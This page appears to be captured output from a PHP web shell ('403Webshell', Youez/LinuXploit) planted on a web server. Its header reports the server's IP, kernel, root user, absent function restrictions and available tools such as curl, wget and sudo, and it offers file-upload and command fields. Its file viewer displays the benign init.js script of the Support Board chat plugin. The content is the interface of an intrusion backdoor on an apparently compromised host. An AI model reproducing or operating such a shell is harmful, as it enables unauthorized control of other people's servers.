403Webshell
Server IP : 14.225.204.176  /  Your IP : 216.73.216.6
Web Server : nginx/1.24.0
System : Linux nodejs-ybgk 6.8.0-40-generic #40-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 5 10:34:03 UTC 2024 x86_64
User : root ( 0)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/php/supportboard/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/php/supportboard/js//init.js
/*
 * ==========================================================
 * INIT SCRIPT
 * ==========================================================
 *
 * Initialization script. [Deprecated from V 3.1.8. This file will be removed in January 2022.]
 * 
 */

'use strict';

(function ($) {
    var version = '3.1.7';
    var url_full = '';

    $(document).ready(function () {
        var url, xhr;
        if (typeof SB_INIT_URL != 'undefined') {
            if (SB_INIT_URL.indexOf('.js') < 0) {
                SB_INIT_URL += '/js/init.js?v=' + version;
            }
            url_full = SB_INIT_URL;
        } else {
            url_full = getScriptUrl();
        }
        var parameters = getScriptParameters(url_full);
        if ('url' in parameters) {
            url_full = parameters['url'];
        }
        if (typeof SB_TICKETS != 'undefined') {
            parameters['mode'] = 'tickets';
        }
        if (typeof SB_DISABLED != 'undefined' && SB_DISABLED) {
            return;
        }
        if (url_full.lastIndexOf('init.js') > 0) {
            url = url_full.substr(0, url_full.lastIndexOf('init.js') - 4);
        } else {
            url = url_full.substr(0, url_full.lastIndexOf('init.min.js') - 8);
        }
        xhr = sbCorsRequest('GET', url + '/include/init.php' + ('lang' in parameters ? '?lang=' + parameters['lang'] : '') + ('mode' in parameters ? ('lang' in parameters ? '&' : '?') + 'mode=' + parameters['mode'] : ''));
        if (!xhr) {
            console.log('Support Board: Init Error - CORS not supported.');
        } else {
            xhr.onload = function () {
                let target = 'body';
                let tickets = ('mode' in parameters && parameters['mode'] == 'tickets');
                if (tickets && $('#sb-tickets').length) {
                    target = '#sb-tickets';
                }
                $(target).append(xhr.responseText);

                var head = document.getElementsByTagName('head')[0];
                sbCreateStyle(url + '/css/min/' + (tickets ? 'tickets' : 'main') + '.min.css', head);
                sbCreateScript(url + '/js/main.js', head);
            };
            xhr.onerror = function () {
                console.log('Support Board init cors error.');
            };
            xhr.send();
        }
    });

    function sbCorsRequest(method, url) {
        var xhr = new XMLHttpRequest();
        if ('withCredentials' in xhr) {
            xhr.open(method, url, true);
        } else if (typeof XDomainRequest != 'undefined') {
            xhr = new XDomainRequest();
            xhr.open(method, url);
        } else {
            xhr = null;
        }
        return xhr;
    }

    function getScriptUrl(a) {
        var b = document.getElementsByTagName('script');
        for (var i = 0; i < b.length; i++) {
            if (b[i].id == 'sbinit' || b[i].src.indexOf('/supportboard/js/init.js') > -1 || b[i].src.indexOf('/supportboard/js/min/init.min.js') > -1) {
                return b[i].src;
            }
        }
        return '';
    }

    function getScriptParameters(url) {
        var c = url.split('?').pop().split('&');
        var p = {};
        for (var i = 0; i < c.length; i++) {
            var d = c[i].split('=');
            p[d[0]] = d[1]
        }
        return p;
    }

    function sbCreateStyle(url, head) {
        var link = document.createElement('link');
        link.id = 'support-board';
        link.rel = 'stylesheet';
        link.type = 'text/css';
        link.href = url + '?v=' + version;
        link.media = 'all';
        head.appendChild(link);
    }

    function sbCreateScript(url, head) {
        var script = document.createElement('script');
        script.src = url + '?v=' + version;
        head.appendChild(script);
    }
}(jQuery));

Youez - 2016 - github.com/yon3zu
LinuXploit